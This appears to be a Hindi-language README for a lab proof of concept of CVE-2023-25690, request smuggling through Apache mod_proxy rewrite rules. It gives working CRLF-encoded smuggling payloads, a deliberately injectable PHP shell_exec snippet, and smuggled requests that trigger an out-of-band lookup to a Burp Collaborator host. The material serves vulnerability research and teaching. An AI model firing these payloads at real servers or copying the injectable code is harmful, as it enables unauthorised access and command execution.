oocyginxoo/cve-2023-25690-pocCVE 2023 25690 प्रूफ ऑफ कॉन्सेप्ट - Apache HTTP Server संस्करण 2.4.0 - 2.4.55 पर mod_proxy की असुरक्षित कॉन्फ़िगरेशन HTTP Request Smuggling भेद्यता की ओर ले जाती है।
प्रकाशित: 7 मार्च 2023
| आधार स्कोर | गोपनीयता | अखंडता प्रभाव | उपलब्धता प्रभाव |
|---|---|---|---|
| 9.8 | उच्च | उच्च | उच्च |
Apache HTTP सर्वर संस्करण 2.4.0 से 2.4.55 पर कुछ mod_proxy कॉन्फ़िगरेशन HTTP Request Smuggling हमले की अनुमति देते हैं। कॉन्फ़िगरेशन तब प्रभावित होते हैं जब mod_proxy किसी RewriteRule या ProxyPassMatch के साथ सक्षम होता है, जिसमें एक गैर-विशिष्ट पैटर्न उपयोगकर्ता-आपूर्ति अनुरोध-लक्ष्य (URL) डेटा के कुछ हिस्से से मेल खाता है और फिर चर प्रतिस्थापन का उपयोग करके प्रॉक्सी किए गए अनुरोध-लक्ष्य में पुनः डाला जाता है। उदाहरण के लिए, कुछ इस प्रकार:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
अनुरोध विभाजन/स्मगलिंग के परिणामस्वरूप प्रॉक्सी सर्वर में एक्सेस नियंत्रण को बायपास किया जा सकता है, मौजूदा ओरिजिन सर्वरों पर अनपेक्षित URL प्रॉक्सी किए जा सकते हैं, और कैश विषाक्तन हो सकता है। उपयोगकर्ताओं को Apache HTTP सर्वर के कम से कम संस्करण 2.4.56 में अपडेट करने की अनुशंसा की जाती है।
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Apache कॉन्फ़िगरेशन में RewriteEngine on शामिल होने से URL पुनर्लेखन इंजन सक्षम होता है। URL पुनर्लेखन एक तकनीक है जो वेब सर्वरों को सामग्री परोसने से पहले क्लाइंट के ब्राउज़र द्वारा अनुरोधित URL को गतिशील रूप से किसी भिन्न URL में बदलने की अनुमति देती है।
उदाहरण के लिए, मान लीजिए कि एक ऑनलाइन ई-शॉप के लिए हमारे पास निम्नलिखित URL संरचना है:
https://example-shop.com/categories/1
Apache कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित RewriteRule निर्देश मानते हुए:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1" [P]
जब कोई उपयोगकर्ता URL https://example-shop.com/categories/1 का अनुरोध करता है, तो RewriteRule URL से मेल खाएगा और रेगुलर एक्सप्रेशन ^/categories/(.*) का उपयोग करके मान 1 कैप्चर करेगा। फिर नियम कैप्चर किए गए मान को पुनर्लेखित URL में क्वेरी पैरामीटर id के रूप में जोड़कर URL को http://example-shop.com:8080/categories?id=1 में पुनर्लेखित करता है।
चूँकि नियम में [P] फ्लैग मौजूद है, Apache पुनर्लेखित URL को एक प्रॉक्सी अनुरोध के रूप में मानेगा और इसे क्वेरी पैरामीटर id के मान 1 के साथ http://example-shop.com:8080/categories पर लक्ष्य सर्वर को अग्रेषित करेगा। फिर लक्ष्य सर्वर अनुरोध को संसाधित करेगा और प्रतिक्रिया Apache को वापस भेजेगा, जो इसे क्लाइंट को अग्रेषित करेगा।
संक्षेप में, [P] फ्लैग के साथ RewriteRule निर्देश का उपयोग URL को पुनर्लेखित करने और उन्हें किसी भिन्न सर्वर पर प्रॉक्सी करने के लिए किया जाता है। इस मामले में, नियम /categories/ से शुरू होने वाले URL से मेल खाता है और कैप्चर किए गए मान को क्वेरी पैरामीटर id के रूप में पुनर्लेखित URL में जोड़ता है। Apache फिर अनुरोध को लक्ष्य सर्वर पर अग्रेषित करता है, जो अनुरोध को संसाधित करता है और प्रतिक्रिया लौटाता है।
अंत में ProxyPassReverse /categories/ http://example-shop.com:8080/ के संबंध में, यह पंक्ति बैकएंड सर्वर के डोमेन और पथ को प्रॉक्सी सर्वर के डोमेन और पथ से बदल देती है, ताकि क्लाइंट लिंक का सही ढंग से अनुसरण कर सके और प्रॉक्सी किए गए बैकएंड सर्वर से सामग्री तक ऐसे पहुँच सके जैसे वह सीधे प्रॉक्सी सर्वर से परोसी जा रही हो।
Apache में इस भेद्यता को सिम्युलेट करने के लिए हम httpd संस्करण 2.4.55 का उपयोग करेंगे। इसके अतिरिक्त, सेटअप, कॉन्फ़िगरेशन और पुनरुत्पादन में अधिक आसानी के लिए पूरी लैब को डॉकराइज़ किया जाएगा।
लैब फ़ाइल संरचना निम्नलिखित होगी:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
अंतिम httpd.conf कॉन्फ़िगरेशन नीचे दिए अनुसार संरचित है:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# आवश्यक मॉड्यूल लोड करें
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
लैब शुरू करने के लिए docker-compose.exe up --build कमांड का उपयोग करें।
इस अनुभाग में, मैं समझाऊँगा कि कैसे एक CRLF इंजेक्शन आंतरिक HTTP Request Smuggling का कारण बन सकता है, जिससे एक हमलावर आंतरिक संसाधनों तक अनधिकृत पहुँच प्राप्त कर सकता है जो अन्यथा दुर्गम होते।
एडवाइजरी विवरण के अनुसार, httpd <=2.4.55 HTTP Response Splitting के प्रति संवेदनशील है, जिसे CRLF इंजेक्शन के रूप में भी जाना जाता है।
CRLF इंजेक्शन निम्नलिखित स्थितियों में होता है:
जिसे हमारे मामले में URL में निम्नलिखित CRLF उपसर्ग पास करके सत्यापित किया जा सकता है:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
उपरोक्त उपसर्ग को URL में जोड़ने पर, परिणामी अंतिम अनुरोध इस प्रकार होगा:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
अनुरोध के बाद, सर्वर डेटा को संसाधित करेगा और 200 प्रतिक्रिया कोड लौटाएगा, जो CRLF इंजेक्शन के प्रति संवेदनशीलता दर्शाता है।
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
HTTTP Request Splitting के बारे में अधिक जानकारी यहाँ पाई जा सकती है, https://owasp.org/www-community/attacks/HTTP_Response_Splitting
हेडर इंजेक्शन का उपयोग करके हम आंतरिक HTTP Request Smuggling करेंगे।
आइए निम्नलिखित उपसर्ग से शुरू करें:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
और निम्नलिखित अनुरोध:
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
रीराइट नियम लागू करने पर, अनुरोध निम्नलिखित प्रारूप में रूपांतरित हो जाता है:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
जहाँ एन्कोडेड URL को मान्य HTTP सिंटैक्स में डिकोड किया जाता है, जिससे बैकएंड डिकोड किए गए डेटा को दूसरे अनुरोध के रूप में मानता है।
मान लीजिए कि हमारे आंतरिक एप्लिकेशन में निम्नलिखित गुप्त कोड है:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
निम्नलिखित उपसर्ग के साथ हम छिपी हुई कार्यक्षमता के लिए दूसरा अनुरोध भेजने में सक्षम हैं:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
और बर्प कोलैबोरेटर पर अनुरोध प्राप्त करें:
पैच:
इस भेद्यता का प्रभाव यह है कि यह हमलावरों को उन आंतरिक एप्लिकेशनों को लक्षित करने और उन तक पहुँचने की अनुमति देता है जिन्हें रिवर्स प्रॉक्सी द्वारा छिपाए जाने का इरादा होता है, जिससे संभावित रूप से अनधिकृत पहुँच, डेटा रिसाव या आगे का शोषण हो सकता है।